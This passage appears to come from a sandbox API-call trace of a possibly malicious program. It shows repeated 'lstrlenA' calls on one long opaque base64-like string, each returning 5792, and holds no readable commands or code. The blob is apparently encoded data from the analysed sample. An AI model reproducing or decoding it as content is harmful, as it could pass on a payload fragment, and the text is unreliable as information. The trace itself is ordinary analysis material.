LHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.884] lstrlenA (lpString="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") returned 5792 [0042.884] lstrlenA (lpString="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") returned 5792 [0042.884] lstrlenA (lpString="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